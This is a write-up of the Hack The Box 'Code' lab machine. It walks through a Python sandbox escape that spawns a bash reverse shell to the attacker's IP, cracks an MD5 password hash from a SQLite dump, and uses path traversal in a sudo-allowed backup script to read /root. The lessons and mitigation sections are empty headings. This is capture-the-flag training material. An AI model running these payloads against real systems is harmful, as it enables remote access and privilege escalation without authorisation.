Code CTF Writeup - Hack The Box

Code Cover

1. Box Overview

Code from Hack The Box was a challenging yet rewarding easy-rated Linux machine that focused on web exploitation, sandbox escapes, and creative privilege escalation. The initial foothold involved exploiting a Python code editor running in a sandboxed environment via subclass manipulation to achieve remote code execution. From there, we pivoted to cracking database hashes for user access and exploited a sudo-allowed backup script with path traversal to capture the root flag. It highlighted the importance of thorough enumeration, sandbox bypass techniques, and understanding application logic.

2. Resources Used

Here are the resources that guided me through this challenge:

3. My Approach to Pwning Code

Here’s a step-by-step breakdown of how I tackled the Code box, from initial reconnaissance to capturing both flags.

Starting with Nmap Recon

I kicked off with an Nmap scan using nmap -sV -sC --open -T4 10.10.11.62 to identify open ports and services. The scan revealed ports 22 (SSH, OpenSSH 8.2p1) and 5000 (HTTP, Gunicorn 20.0.4), indicating a Linux box with a web application likely running a Python-based service.

Nmap scan results curl Gunicorn

Exploring the Web Server

Visiting http://10.10.11.62:5000/ revealed a Python Code Editor, essentially an IDE in the browser. Initial tests showed restrictions: imports like os and file operations were blocked, suggesting a sandboxed environment.

Python Code Editor Python Code Editor

Sandbox Escape via Subclass Manipulation

After researching Gunicorn and Python sandboxes, I found a HackTricks guide on bypassing restrictions. I enumerated loaded subclasses with print((()).__class__.__bases__[0].__subclasses__()[300:320]) to locate Popen at index 317. Then, I executed a reverse shell: (()).__class__.__bases__[0].__subclasses__()[317]("bash -c 'bash -i >& /dev/tcp/10.10.14.62/4447 0>&1'", shell=True, stdout=-1). This granted a shell as app-production, where I found the user flag.

hacktricks snippet search payload User shell

Upgrading the Shell and Initial Enumeration

I upgraded the shell using python3 -c 'import pty; pty.spawn("/bin/bash")'. Checking /etc/passwd showed users like app-production and martin. I transferred LinPEAS via a Python HTTP server on my machine and ran it, which highlighted CVE-2021-3560, but I pursued other paths.

Shell upgrade user enum

Examining the Application and Database

Inspecting app.py revealed a Flask app using SQLAlchemy with a SQLite database at /home/app-production/app/instance/database.db. I dumped the database with sqlite3 database.db and found MD5 hashes for users development and martin.

app.py exploration Database dump Database dump

Cracking Hashes and Pivoting to Martin

I cracked martin's hash (3de6f30c4a09c27fc71932bfc68474be) using Hashcat against rockyou.txt, revealing the password nafeelswordsmaster. With this, I SSH'd in as martin.

ssh

Privilege Escalation via Backup Script

Running sudo -l showed martin could execute /usr/bin/backy.sh without a password. I created a task.json in /home/martin/backups with path traversal: {"destination": "/home/martin/backups", "multiprocessing": true, "verbose_log": false, "directories_to_archive": ["/home/..././root"]}. Running sudo /usr/bin/backy.sh task.json created a tarball of /root. Extracting it with tar -xvf code_home_.._root_2025_August.tar.bz2 and checking root/root.txt gave the root flag.

sudo -l backy.sh t.json backup Root flag

4. Lessons Learned and Tips

Here’s what I took away from the Code box:

7. Mitigation Strategies

Here’s how to fix the vulnerabilities we exploited:

These changes would block our exploitation techniques, enhancing system security.

5. Conclusion

Completed badge

Code was an excellent HTB challenge that sharpened my skills in web exploitation, sandbox bypassing, and privilege escalation. From escaping the Python IDE to cracking hashes and exploiting a backup script with path traversal, each phase built on the last. The techniques learned, especially around Python subclasses and sudo abuses, will be invaluable for future boxes. Code was both fun and instructive—on to the next!

6. Additional Notes

```